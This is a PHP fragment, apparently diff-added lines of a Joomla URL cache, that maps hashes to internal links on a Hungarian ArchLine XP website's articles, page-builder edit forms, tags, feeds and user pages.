+$this->_urlCache['ef7e01036f073e5b8c567de78d88ba72']='index.php?option=com_sppagebuilder&Itemid=291&id=84&lang=hu&layout=edit&tmpl=component&view=form#84-lepcso-es-korlat/edit#0'; +$this->_urlCache['d32bdb3288f744d29f80b654d17b8e93']='index.php?option=com_users&Itemid=124&lang=hu&view=registration#fiok-letrehozasa/#0'; +$this->_urlCache['6aee2cb492401a8e28148fbdb285fa26']='index.php?option=com_content&Itemid=366&catid=24&id=835&lang=hu&view=article#blog/munkak-bemutatasa/anya-lanya-otthon-tervezo-csaban-katalin#0'; +$this->_urlCache['a2279d6cc1fe92e4c1d9d41ffa9c63c6']='index.php?option=com_sppagebuilder&Itemid=605&id=255&lang=hu&layout=edit&tmpl=component&view=form#edit/255#0'; +$this->_urlCache['f88bdfab087b8a04b8e8b984deeac00e']='index.php?option=com_sppagebuilder&Itemid=473&id=154&lang=hu&layout=edit&tmpl=component&view=form#154-rajzi-alapok-alapok-1-mozaik/edit#0'; +$this->_urlCache['efcfe061994a95c529a1efa45aa0d51b']='index.php?option=com_content&Itemid=366&catid=24&id=995&lang=hu&view=article#blog/munkak-bemutatasa/csodalatos-minimalizmus-svajci-modra#0'; +$this->_urlCache['df19223f7e2364e023fd8a316789f01e']='index.php?option=com_content&Itemid=366&catid=24&id=1066&lang=hu&view=article#blog/munkak-bemutatasa/ujjavarazsolt-elovarosi-csaladi-haz#0'; +$this->_urlCache['849d503c46ecff12f18b70b17f3236bd']='index.php?option=com_content&Itemid=366&catid=24&id=1072&lang=hu&view=article#blog/munkak-bemutatasa/modern-glamour-egy-kepzeletbeli-muveszpar-otthona#0'; +$this->_urlCache['83ae3d9caf8eba01b6f420d7da7351c4']='index.php?option=com_content&Itemid=366&catid=24&id=977&lang=hu&view=article#blog/munkak-bemutatasa/a-tervezo-bemutatkozik-varady-eniko#1'; +$this->_urlCache['403fec70d68f802f414794a6600f5d69']='index.php?option=com_content&Itemid=366&catid=24&id=997&lang=hu&view=article#blog/munkak-bemutatasa/termeszetes-harmonia-es-kifinomult-funkcionalitas-csaladi-otthon-megtervezese#0'; +$this->_urlCache['8a14a02f8af21becc091fc2164d2c564']='index.php?option=com_content&Itemid=124&catid=44&id=967&lang=hu&view=article#oktatas/kozepfoku-tanfolyam-2022-attekintes#0'; +$this->_urlCache['2fe938a246f106f5cfa0539e426cc79e']='index.php?option=com_content&Itemid=175&catid=20&id=705&lang=hu&view=article#palyazatok/honap-kepe/2018-december#0'; +$this->_urlCache['43c82f82cdad8e8f85ffcc13b5054966']='index.php?option=com_content&Itemid=124&catid=37&id=391&lang=hu&view=article#projektek/epiteszet/turabazis-epuelet#0'; +$this->_urlCache['9ba494180e013ec68a41e9c928ea40af']='index.php?option=com_jsn&Itemid=&id=997&lang=hu&view=profile#terformairodagmail.com.html#0'; +$this->_urlCache['83ac88303a6122b6d2dfb64610fedf27']='index.php?option=com_content&Itemid=124&catid=37&id=390&lang=hu&view=article#projektek/epiteszet/maffi#0'; +$this->_urlCache['7396e342d160efedc181f9cdadaf7a18']='index.php?option=com_sppagebuilder&Itemid=649&id=280&lang=hu&layout=edit&tmpl=component&view=form#edit/280#0'; +$this->_urlCache['6575422ddc2bf11a1816e18e2bd92d23']='index.php?option=com_users&Itemid=124&lang=hu&view=remind#lost-user-name/#0'; +$this->_urlCache['22b7b8b9dcc68cca5cb86a0a5775ea63']='index.php?option=com_sppagebuilder&Itemid=210&id=356&lang=hu&layout=edit&tmpl=component&view=form#edit/356#0'; +$this->_urlCache['8c4cb4f1acebf9c32ffd551f5042d86a']='index.php?option=com_sppagebuilder&Itemid=777&id=381&lang=hu&layout=edit&tmpl=component&view=form#edit/381#0'; +$this->_urlCache['39e45d0ead38c2cf10ec94884ce83f62']='index.php?option=com_sppagebuilder&Itemid=187&id=93&lang=hu&view=page#letoltes#0'; +$this->_urlCache['561276a32aacee053290cb5a308460f4']='index.php?option=com_content&Itemid=562&format=feed&id=62&lang=hu&layout=blog&type=rss&view=category#palyazatok/honap-kepe-live/feed/rss#0'; +$this->_urlCache['1b571da673cd7fd304ea09738cf66b47']='index.php?option=com_content&Itemid=562&format=feed&id=62&lang=hu&layout=blog&type=atom&view=category#palyazatok/honap-kepe-live/feed/atom#0'; +$this->_urlCache['b070900267bd292cb67a2e648f888065']='index.php?option=com_content&Itemid=124&catid=62&id=766&lang=hu&view=article#palyazatok/honap-kepe-live/2019-julius-live#0'; +$this->_urlCache['92b3b701fd18a40fab86a5af12b5ad6d']='index.php?option=com_tags&id=66-palyazat&lang=hu&view=tag#tag/66-palyazat#0'; +$this->_urlCache['88bf727ef975c9c8b359c77edd2b4647']='index.php?option=com_tags&id=108-2019&lang=hu&view=tag#tag/2019#0'; +$this->_urlCache['11a94da4a3f1b5aad3b2799e46daef16']='index.php?option=com_tags&id=109-honap-kepe-live&lang=hu&view=tag#tag/honap-kepe-live#0'; +$this->_urlCache['2c50ad4a7f2859f66a3da14325ce0543']='index.php?option=com_tags&id=110-archline-xp-live&lang=hu&view=tag#tag/archline-xp-live#0'; +$this->_urlCache['b1d93e8d5983fef7869009cdc9ba3823']='index.php?option=com_content&Itemid=366&catid=24&id=1055&lang=hu&view=article#blog/munkak-bemutatasa/lorincz-judit-inspiralo-konyha#0'; +$this->_urlCache['4dfbfa5bd59d28a26ec24833b79ff8fc']='index.php?option=com_sppagebuilder&Itemid=608&id=65&lang=hu&layout=edit&tmpl=component&view=form#edit/65#0'; +$this->_urlCache['22fe079eaea612cff0f9c849bb6849d1']='index.php?option=com_content&Itemid=124&catid=44&id=1047&lang=hu&view=article#oktatas/oktato-videok-2024#0'; +$this->_urlCache['101581cfd614dc8ff6139c025a579727']='index.php?option=com_content&Itemid=366&catid=24&id=905&lang=hu&view=article#blog/munkak-bemutatasa/szekely-erika-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['9aa4958522cbc157812b1eaa45cc3f25']='index.php?option=com_sppagebuilder&Itemid=751&id=360&lang=hu&layout=edit&tmpl=component&view=form#edit/360#0'; +$this->_urlCache['cc874c5c664c3c8dc314e068133d5ea4']='index.php?option=com_content&Itemid=439&id=637&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2018-valtozasok#0'; +$this->_urlCache['fcecf4ca8226217a1565ccec5ab35c66']='index.php?option=com_content&Itemid=372&id=560&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2017-valtozasok#0'; +$this->_urlCache['071423ce47b7f66e49a3df95b2fb9a35']='index.php?option=com_content&Itemid=319&id=561&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2016-valtozasok#0'; +$this->_urlCache['989e52ca2fa7a4b8775f28db721e67ae']='index.php?option=com_sppagebuilder&Itemid=807&id=408&lang=hu&layout=edit&tmpl=component&view=form#edit/408#0'; +$this->_urlCache['b3889f1fd124ef194e749fd218f6c55e']='index.php?option=com_content&Itemid=366&catid=24&id=841&lang=hu&view=article#blog/munkak-bemutatasa/zsello-katica-vizsgamunkaja#0'; +$this->_urlCache['ff3fcca5403d51d61b702d87e07193b4']='index.php?option=com_sppagebuilder&Itemid=347&id=99&lang=hu&layout=edit&tmpl=component&view=form#99-esemenynaptar/edit#0'; +$this->_urlCache['cda72a72c748660ae463fbe03fb9029d']='index.php?option=com_sppagebuilder&Itemid=273&id=73&lang=hu&view=page#oktatas/workshopok/nappali-tervezes#0'; +$this->_urlCache['41e81cf43b6ed0cda4ef78255fc15eae']='index.php?option=com_sppagebuilder&Itemid=273&id=73&lang=hu&layout=edit&tmpl=component&view=form#73-nappali-tervezes/edit#0'; +$this->_urlCache['7974ad4c9cb1982773f979126df2300f']='index.php?option=com_sppagebuilder&Itemid=600&id=250&lang=hu&layout=edit&tmpl=component&view=form#edit/250#0'; +$this->_urlCache['0498781bb5e10cdec889e80b951021fc']='index.php?option=com_content&Itemid=124&catid=59&id=618&lang=hu&view=article#oktatas/webinariumok/archline-xp-tervfeldolgozas-fajlimport#0'; +$this->_urlCache['e4f96a0b86deb0c7d14967819e519d11']='index.php?option=com_sppagebuilder&Itemid=601&id=251&lang=hu&layout=edit&tmpl=component&view=form#edit/251#0'; +$this->_urlCache['884df00ad37ec1abdd495fb844363aa1']='index.php?option=com_content&Itemid=366&catid=24&id=781&lang=hu&view=article#blog/munkak-bemutatasa/matyasfoldi-paulheim-villa-felujitasa-tervezo-rakos-tibor#0'; +$this->_urlCache['a1d8eed7d8e4fc29c6615f711299be3d']='index.php?option=com_sppagebuilder&Itemid=780&id=384&lang=hu&layout=edit&tmpl=component&view=form#edit/384#0'; +$this->_urlCache['18def505d6f4f158fcaf89d21fbd001d']='index.php?option=com_sppagebuilder&Itemid=195&id=355&lang=hu&layout=edit&tmpl=component&view=form#edit/355#0'; +$this->_urlCache['22b5c446a99b4e3b5757fea4ce413f8e']='index.php?option=com_sppagebuilder&Itemid=743&id=343&lang=hu&layout=edit&tmpl=component&view=form#edit/343#0'; +$this->_urlCache['31809185de80c19f69819099f78bb903']='index.php?option=com_content&Itemid=124&format=feed&id=34&lang=hu&type=rss&view=category#letoltes/feed/rss#0'; +$this->_urlCache['bf0a5036a85486fbccc7a3e3e76108b7']='index.php?option=com_content&Itemid=124&format=feed&id=34&lang=hu&type=atom&view=category#letoltes/feed/atom#0'; +$this->_urlCache['d2382edf29af2bbeb38c3164caca184a']='index.php?option=com_content&Itemid=124&catid=34&id=566&lang=hu&view=article#letoltes/trial-letoltes-2017-175#0'; +$this->_urlCache['2710d19506b32952b68967889c7b9bd7']='index.php?option=com_content&Itemid=124&catid=34&id=568&lang=hu&view=article#letoltes/trial-letoltes-2016-392#0'; +$this->_urlCache['ec9e0fde9f03e8e8067f8ff81708af8c']='index.php?option=com_content&Itemid=124&catid=34&id=569&lang=hu&view=article#letoltes/trial-letoltes-2016-268#0'; +$this->_urlCache['48c0eea29ec4f5390350bbaebbf68119']='index.php?option=com_content&Itemid=124&catid=34&id=623&lang=hu&view=article#letoltes/beta-letoltes-2018-218#0'; +$this->_urlCache['0ce465eac0f66118ec9772c5539b8f4a']='index.php?option=com_content&Itemid=124&catid=34&id=753&lang=hu&view=article#letoltes/268-as-build-letoltes-2019#0'; +$this->_urlCache['48fd18f58b3b4c62a723889d50d2bd6f']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&type=rss&view=category#palyazatok/ev-kepe/feed/rss#0'; +$this->_urlCache['90e954eb47ec3efa7cea2684e2e3d019']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&type=atom&view=category#palyazatok/ev-kepe/feed/atom#0'; +$this->_urlCache['ab7fd1f7e84524d177f10a286c6e540e']='index.php?option=com_content&Itemid=176&catid=21&id=1124&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2025#0'; +$this->_urlCache['f5415ea4c0b4c58fd5bda76618bfb79f']='index.php?option=com_content&Itemid=176&catid=21&id=1088&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2024#0'; +$this->_urlCache['94804e07a3d4673d707ebe2908ae618d']='index.php?option=com_content&Itemid=176&catid=21&id=1028&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2023#1'; +$this->_urlCache['73fbfcb68af2a7ae835edd6f7a5528b0']='index.php?option=com_content&Itemid=176&catid=21&id=982&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2022#0'; +$this->_urlCache['75bf69ce0d3f0285f10b0d8ee9df7d31']='index.php?option=com_content&Itemid=176&catid=21&id=937&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2021#0'; +$this->_urlCache['af4355494397dbff904e26bcd5ddab25']='index.php?option=com_content&Itemid=176&catid=21&id=869&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2020#0'; +$this->_urlCache['b7f7f007e5059382e7efdc1a1e55cbec']='index.php?option=com_content&Itemid=176&catid=21&id=792&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2019#0'; +$this->_urlCache['5a031b94b92dc04cf69d10aa05f5b81b']='index.php?option=com_content&Itemid=176&catid=21&id=713&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2018#0'; +$this->_urlCache['ec7072b97a28e7769daaaac6416a881a']='index.php?option=com_content&Itemid=176&catid=21&id=640&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2017#0'; +$this->_urlCache['43118441fba81f3496eecdffc2f4c43a']='index.php?option=com_content&Itemid=176&catid=21&id=538&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2016#0'; +$this->_urlCache['da174dcfb99e31b9cfebec3fd7e33472']='index.php?option=com_content&Itemid=176&catid=21&id=537&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2015#0'; +$this->_urlCache['ac95cde238a701c8f0beb18460a3a169']='index.php?option=com_content&Itemid=176&id=21&lang=hu&layout=blog&limit=11&limitstart=11&view=category#palyazatok/ev-kepe/Page-2-11#0'; +$this->_urlCache['b205ab2e7ec8bfc927ceb61d900d632c']='index.php?option=com_sppagebuilder&Itemid=284&id=77&lang=hu&layout=edit&tmpl=component&view=form#77-fenyek/edit#0'; +$this->_urlCache['eb5c8f31490e6fe571364d53381afbe5']='index.php?option=com_sppagebuilder&Itemid=763&id=369&lang=hu&layout=edit&tmpl=component&view=form#edit/369#0'; +$this->_urlCache['ba69904561b75e9e2748b97fac413ce4']='index.php?option=com_content&Itemid=124&catid=39&id=372&lang=hu&view=article#projektek/konyha/klasszikus-angol-konyha-szigettel#0'; +$this->_urlCache['9fd4f4945888234194b05c6bc471ee9a']='index.php?option=com_content&Itemid=124&catid=39&id=373&lang=hu&view=article#projektek/konyha/konyha-barszekrennyel#0'; +$this->_urlCache['1321b6b54e6f9b431237049d396da522']='index.php?option=com_content&Itemid=124&catid=39&id=369&lang=hu&view=article#projektek/konyha/egyedi-klasszikus-konyha#0'; +$this->_urlCache['ec7b3ca2d6edb378def98da0fbea591e']='index.php?option=com_content&Itemid=124&catid=44&id=966&lang=hu&view=article#oktatas/alapfoku-tanfolyam-2022-attekintes#0'; +$this->_urlCache['419ce74ded8877042f009c0be4a1992f']='index.php?option=com_sppagebuilder&Itemid=602&id=252&lang=hu&layout=edit&tmpl=component&view=form#edit/252#0'; +$this->_urlCache['be5c27e33e61c9e4e544e805b4b36e45']='index.php?option=com_sppagebuilder&Itemid=650&id=282&lang=hu&layout=edit&tmpl=component&view=form#edit/282#0'; +$this->_urlCache['f13bc0fbe9139b879442e05a3775f5e0']='index.php?option=com_content&Itemid=124&catid=44&id=403&lang=hu&view=article#oktatas/lakberendezo-iskolak#0'; +$this->_urlCache['3e3af9378b9e1cede174b9361a7f9f76']='index.php?option=com_sppagebuilder&Itemid=696&id=313&lang=hu&layout=edit&tmpl=component&view=form#edit/313#0'; +$this->_urlCache['69df06301a6aa913a950e128dce4b3d9']='index.php?option=com_sppagebuilder&Itemid=764&id=370&lang=hu&layout=edit&tmpl=component&view=form#edit/370#0'; +$this->_urlCache['3c204a556e2974f6673b35c250da5b34']='index.php?option=com_sppagebuilder&Itemid=765&id=371&lang=hu&layout=edit&tmpl=component&view=form#edit/371#0'; +$this->_urlCache['d28e1a4c1e5cffea6e1dd9d6cfd7a676']='index.php?option=com_content&Itemid=366&catid=24&id=952&lang=hu&view=article#blog/munkak-bemutatasa/gellen-eszter-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['081828e74f75e236114b46a7851f9235']='index.php?option=com_sppagebuilder&Itemid=651&id=283&lang=hu&layout=edit&tmpl=component&view=form#edit/283#0'; +$this->_urlCache['034117844961c171ed346e7b296f9158']='index.php?option=com_sppagebuilder&Itemid=740&id=340&lang=hu&layout=edit&tmpl=component&view=form#edit/340#0'; +$this->_urlCache['a05d11b2035e3690367d3a9acea94cd7']='index.php?option=com_sppagebuilder&Itemid=742&id=342&lang=hu&layout=edit&tmpl=component&view=form#edit/342#0'; +$this->_urlCache['a37ef13eeb51e2d16c4b21921ad85c66']='index.php?option=com_sppagebuilder&Itemid=744&id=344&lang=hu&layout=edit&tmpl=component&view=form#edit/344#0'; +$this->_urlCache['163c35fe8cefea5b6e6faa7ef618d359']='index.php?option=com_sppagebuilder&Itemid=787&id=390&lang=hu&layout=edit&tmpl=component&view=form#edit/390#0'; +$this->_urlCache['40bbbca8b9063ad7f18cf1c2a5137f7b']='index.php?option=com_sppagebuilder&Itemid=788&id=391&lang=hu&layout=edit&tmpl=component&view=form#edit/391#0'; +$this->_urlCache['f27721e6f4e908e169f5040097d86dee']='index.php?option=com_sppagebuilder&Itemid=750&id=359&lang=hu&layout=edit&tmpl=component&view=form#edit/359#0'; +$this->_urlCache['c64ae9ab5eab0eca9a1551a8ec8669c4']='index.php?option=com_sppagebuilder&Itemid=733&id=332&lang=hu&layout=edit&tmpl=component&view=form#edit/332#0'; +$this->_urlCache['a3b1f5a0f0827a76db2277eab72c47a7']='index.php?option=com_sppagebuilder&Itemid=745&id=347&lang=hu&layout=edit&tmpl=component&view=form#edit/347#0'; +$this->_urlCache['a9cad5a808ec2cd95adea80e4f3c185e']='index.php?option=com_sppagebuilder&Itemid=756&id=364&lang=hu&layout=edit&tmpl=component&view=form#edit/364#0'; +$this->_urlCache['20148818ba46d5b5f8fb7575df6cb7c5']='index.php?option=com_sppagebuilder&Itemid=772&id=379&lang=hu&layout=edit&tmpl=component&view=form#edit/379#0'; +$this->_urlCache['e2282b99216596edd997d960f8a7388c']='index.php?option=com_sppagebuilder&Itemid=774&id=380&lang=hu&layout=edit&tmpl=component&view=form#edit/380#0'; +$this->_urlCache['b141e2f2cbd8a9f189b81b8e1838f668']='index.php?option=com_sppagebuilder&Itemid=724&id=327&lang=hu&layout=edit&tmpl=component&view=form#edit/327#0'; +$this->_urlCache['17f55fd657584d0e6b4a25f3fc1370dd']='index.php?option=com_sppagebuilder&Itemid=782&id=386&lang=hu&layout=edit&tmpl=component&view=form#edit/386#0'; +$this->_urlCache['3413a98bba684e38b03c495df86ec06a']='index.php?option=com_sppagebuilder&Itemid=801&id=403&lang=hu&layout=edit&tmpl=component&view=form#edit/403#0'; +$this->_urlCache['cc1a7d3a55028f3818b16838758a69a2']='index.php?option=com_sppagebuilder&Itemid=805&id=406&lang=hu&layout=edit&tmpl=component&view=form#edit/406#0'; +$this->_urlCache['36405cabef3e94f1b2e4474ebe6d529f']='index.php?option=com_sppagebuilder&Itemid=767&id=375&lang=hu&layout=edit&tmpl=component&view=form#edit/375#0'; +$this->_urlCache['fa573c4a0057b935d4ad122f74572c7d']='index.php?option=com_sppagebuilder&Itemid=768&id=376&lang=hu&layout=edit&tmpl=component&view=form#edit/376#0'; +$this->_urlCache['cf7ac842d769a11e0f482a7bdd8599e1']='index.php?option=com_sppagebuilder&Itemid=769&id=377&lang=hu&layout=edit&tmpl=component&view=form#edit/377#0'; +$this->_urlCache['a497777f2c424c72d369e1688e44d9d6']='index.php?option=com_sppagebuilder&Itemid=747&id=350&lang=hu&layout=edit&tmpl=component&view=form#edit/350#0'; +$this->_urlCache['1601e7223e6762f0f04b46fa3edf4990']='index.php?option=com_sppagebuilder&Itemid=746&id=349&lang=hu&layout=edit&tmpl=component&view=form#edit/349#0'; +$this->_urlCache['da4f6a487d79580d616dd54dcf1971ab']='index.php?option=com_sppagebuilder&Itemid=725&id=329&lang=hu&layout=edit&tmpl=component&view=form#edit/329#0'; +$this->_urlCache['c6adac859855b843c855cf74460baee6']='index.php?option=com_sppagebuilder&Itemid=685&id=308&lang=hu&layout=edit&tmpl=component&view=form#edit/308#0'; +$this->_urlCache['0e4141c341c6e2febf923ac3ff9dd9dd']='index.php?option=com_sppagebuilder&Itemid=684&id=307&lang=hu&layout=edit&tmpl=component&view=form#edit/307#0'; +$this->_urlCache['9550fc6acfa2f406917d9a42a6bbae60']='index.php?option=com_sppagebuilder&Itemid=549&id=203&lang=hu&layout=edit&tmpl=component&view=form#203-alapfoku-hallgatoi-vizsga/edit#0'; +$this->_urlCache['e90f9c092279ad1b3dcf393ad9832f45']='index.php?option=com_sppagebuilder&Itemid=550&id=204&lang=hu&layout=edit&tmpl=component&view=form#204-kozepfoku-hallgatoi-vizsga/edit#0'; +$this->_urlCache['85fa4df906d70a9bfbfd5bd0e9715839']='index.php?option=com_sppagebuilder&Itemid=596&id=248&lang=hu&layout=edit&tmpl=component&view=form#edit/248#0'; +$this->_urlCache['b5f64c8891ccdb68783fbf47395925c6']='index.php?option=com_sppagebuilder&Itemid=597&id=249&lang=hu&layout=edit&tmpl=component&view=form#edit/249#0'; +$this->_urlCache['d0ff8d75aaa9ae0a343a2ce05fecfc08']='index.php?option=com_sppagebuilder&Itemid=599&id=257&lang=hu&layout=edit&tmpl=component&view=form#edit/257#0'; +$this->_urlCache['6714c425742f2360b9641c69f0c1086f']='index.php?option=com_sppagebuilder&Itemid=604&id=254&lang=hu&layout=edit&tmpl=component&view=form#edit/254#0'; +$this->_urlCache['d9b7a2f90708d9840189bc802171f70e']='index.php?option=com_sppagebuilder&Itemid=603&id=253&lang=hu&layout=edit&tmpl=component&view=form#edit/253#0'; +$this->_urlCache['8c6e1039e4f1669d0c86a92d7e2605ad']='index.php?option=com_content&Itemid=124&catid=59&id=779&lang=hu&view=article#oktatas/webinariumok/almennyezetek-reszletesen#0'; +$this->_urlCache['7b9c346c6a7b3618fbd3e44e98c4cd7f']='index.php?option=com_content&Itemid=366&catid=24&id=660&lang=hu&view=article#blog/munkak-bemutatasa/ket-fahaz-praktikus-atalakitasa-tervezo-molnar-brigitta#0'; +$this->_urlCache['ae314bc81ebe392bb136789a0a76298d']='index.php?option=com_content&Itemid=124&catid=44&id=969&lang=hu&view=article#oktatas/felsofoku-tanfolyam-2022-attekintes#0'; +$this->_urlCache['f397ea7dfe51ab9c067250bec509ebb4']='index.php?option=com_content&Itemid=395&catid=58&id=586&lang=hu&view=article#jogi/cegismerteto#0'; +$this->_urlCache['f63aaaf14fa0a9b1212f88f38846d296']='index.php?option=com_content&Itemid=366&catid=24&id=1045&lang=hu&view=article#blog/munkak-bemutatasa/lenyugozo-furdoszoba-tervek-nagy-ibolya#0'; +$this->_urlCache['99f747cd79337c1d4f049f9ce3d1ff32']='index.php?option=com_content&Itemid=366&catid=24&id=998&lang=hu&view=article#blog/munkak-bemutatasa/burany-eszter-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['c26e9ea29db01c2cb32a2575b4cea84b']='index.php?option=com_content&Itemid=366&catid=24&id=926&lang=hu&view=article#blog/munkak-bemutatasa/seregi-katalin-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['6f3b2c1f5d78ec1862fa4ff19c5f0be0']='index.php?option=com_content&Itemid=366&catid=24&id=918&lang=hu&view=article#blog/munkak-bemutatasa/szabados-alexandra-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['ee539ac3292575473db67b7cc49e336c']='index.php?option=com_sppagebuilder&Itemid=761&id=368&lang=hu&layout=edit&tmpl=component&view=form#edit/368#0'; +$this->_urlCache['f1dcab07a97907bd3e11ee53b902e13e']='index.php?option=com_content&Itemid=366&catid=24&id=992&lang=hu&view=article#blog/munkak-bemutatasa/remekmuvek-archline-xp#0'; +$this->_urlCache['411e81e81df72d4382d04994bba4ac12']='index.php?option=com_content&Itemid=366&catid=24&id=635&lang=hu&view=article#blog/munkak-bemutatasa/csaladi-feszek-ahogy-azt-a-skandinavok-szeretik-tervezo-horvath-rita#0'; +$this->_urlCache['00ac45a5fe2b00a808ef672b02347757']='index.php?option=com_content&Itemid=366&catid=24&id=1038&lang=hu&view=article#blog/munkak-bemutatasa/stilusos-eklektika#0'; +$this->_urlCache['fb31953d83f82ef198c0d47142972323']='index.php?option=com_content&Itemid=366&catid=24&id=911&lang=hu&view=article#blog/munkak-bemutatasa/szatmari-laura-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['b86f31dcf5048339f237334fc66d3b8e']='index.php?option=com_content&Itemid=366&catid=24&id=574&lang=hu&view=article#blog/munkak-bemutatasa/szaunaklub-es-lakasetterem-tervezo-demeter-aniko#0'; +$this->_urlCache['cd0a7b159c9cd1cae5caee0668ef45a0']='index.php?option=com_content&Itemid=366&catid=24&id=944&lang=hu&view=article#blog/munkak-bemutatasa/szep-marianna-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['91dc6b39dd62c585f3e5bb8c743638ea']='index.php?option=com_content&Itemid=366&catid=24&id=951&lang=hu&view=article#blog/munkak-bemutatasa/szilasi-magdolna-vizsgamunkaja-az-archline-xp-vel#0'; +$this->_urlCache['128d374d7304114cef59f5328e39d967']='index.php?option=com_content&Itemid=366&catid=24&id=1042&lang=hu&view=article#blog/munkak-bemutatasa/lenyugozo-furdoszoba-tervek-henczi-nora#0'; +$this->_urlCache['04107c9eb2f02058e49fdd4ebe3dc919']='index.php?option=com_sppagebuilder&Itemid=576&id=224&lang=hu&layout=edit&tmpl=component&view=form#edit/224#0'; +$this->_urlCache['1e2370d2574d9eb4368cf20ed1d5d3bc']='index.php?option=com_content&Itemid=124&catid=59&id=724&lang=hu&view=article#oktatas/webinariumok/archline-xp-live-terveid-eletre-kelnek#0'; +$this->_urlCache['009c5034545f06b97fa3d4d5fc544bbc']='index.php?option=com_sppagebuilder&Itemid=209&id=90&lang=hu&layout=edit&tmpl=component&view=form#90-regisztracio-es-aktivalas/edit#0'; +$this->_urlCache['f8cc8a311238eb34d2126a3aff2dd68f']='index.php?option=com_sppagebuilder&Itemid=667&id=301&lang=hu&layout=edit&tmpl=component&view=form#edit/301#0'; +$this->_urlCache['cdfabc1b97b7ae41aced2ab937313408']='index.php?option=com_content&Itemid=124&catid=51&id=637&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2018-valtozasok#0'; +$this->_urlCache['c4af0b05a5c5ba53eddc0b451a629f1f']='index.php?option=com_content&Itemid=124&catid=22&id=532&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-nyar#0'; +$this->_urlCache['be529efc5a54c8089d28af6d835f70e7']='index.php?option=com_sppagebuilder&Itemid=759&id=366&lang=hu&layout=edit&tmpl=component&view=form#edit/366#0'; +$this->_urlCache['64f11163706579a94b2d5b41635ae5a9']='index.php?option=com_sppagebuilder&Itemid=792&id=393&lang=hu&layout=edit&tmpl=component&view=form#edit/393#0'; +$this->_urlCache['f13d9130f89599ad7683ef4f345bbd3d']='index.php?option=com_sppagebuilder&Itemid=666&id=300&lang=hu&layout=edit&tmpl=component&view=form#edit/300#0'; +$this->_urlCache['fe53e7ecf9acaea84b7578774e05d740']='index.php?option=com_content&Itemid=124&format=feed&id=59&lang=hu&type=rss&view=category#oktatas/webinariumok/feed/rss#0'; +$this->_urlCache['acab297fef7fe8a633b983594e32d27e']='index.php?option=com_content&Itemid=124&format=feed&id=59&lang=hu&type=atom&view=category#oktatas/webinariumok/feed/atom#0'; +$this->_urlCache['ebf96d49852ffc9c5a698a6f1266b67d']='index.php?option=com_content&Itemid=124&catid=59&id=773&lang=hu&view=article#oktatas/webinariumok/archline-xp-live-ujdonsagok#0'; +$this->_urlCache['dd7a3006090c21ffe1acd04acca53e95']='index.php?option=com_tags&id=14-valtozas&lang=hu&view=tag#tag/14-valtozas#0'; +$this->_urlCache['9d126cff94fb52df225e6d06f4306f7a']='index.php?option=com_tags&id=15-archline-xp-2017&lang=hu&view=tag#tag/15-archline-xp-2017#0'; +$this->_urlCache['4190c656fbdbf7a72823d89dbb8b55b5']='index.php?option=com_content&Itemid=124&catid=59&id=776&lang=hu&view=article#oktatas/webinariumok/burkolatok-reszletesen#0'; +$this->_urlCache['89c9b0fa88be99de2cf0af88489e34a2']='index.php?option=com_content&Itemid=124&catid=59&id=774&lang=hu&view=article#oktatas/webinariumok/csoportok-es-profilok-reszletesen#0'; +$this->_urlCache['1556e8839de9eab71d885aff949ddbf9']='index.php?option=com_content&Itemid=124&catid=59&id=767&lang=hu&view=article#oktatas/webinariumok/egy-tervezesi-folyamat-az-archline-xp-vel-3-resz#0'; +$this->_urlCache['0ef0d640373326f039a53ded5c00e004']='index.php?option=com_content&Itemid=124&catid=59&id=768&lang=hu&view=article#oktatas/webinariumok/egy-tervezesi-folyamat-az-archline-xp-vel-2-resz#0'; +$this->_urlCache['51d883920516f4baf9fab6ea23e4de1f']='index.php?option=com_content&Itemid=124&catid=59&id=762&lang=hu&view=article#oktatas/webinariumok/egy-tervezesi-folyamat-az-archline-xp-vel-1-resz#0'; +$this->_urlCache['88b44bb6556760a9cdc584c5793b9a95']='index.php?option=com_content&Itemid=124&catid=59&id=750&lang=hu&view=article#oktatas/webinariumok/listak-es-kimutatasok-az-archline-xp-ben#0'; +$this->_urlCache['811c3615832c8daa4caf52b9feb48e30']='index.php?option=com_content&Itemid=124&catid=59&id=663&lang=hu&view=article#oktatas/webinariumok/ut-a-bim-vilagaba-4-bim-a-gyakorlatban#0'; +$this->_urlCache['45955c381b73b9b568d1548a9888f7aa']='index.php?option=com_content&Itemid=124&catid=59&id=657&lang=hu&view=article#oktatas/webinariumok/ut-a-bim-vilagaba-1-epiteszeti-tervezes-2#0'; +$this->_urlCache['0af7bf7957ed6e5a88ace1226a126400']='index.php?option=com_content&Itemid=124&catid=59&id=655&lang=hu&view=article#oktatas/webinariumok/ut-a-bim-vilagaba-1-epiteszeti-tervezes#0'; +$this->_urlCache['0eb2baa782fe30d376603b705292cbda']='index.php?option=com_content&Itemid=124&catid=59&id=726&lang=hu&view=article#oktatas/webinariumok/reszletrajzok-az-archline-xp-ben#0'; 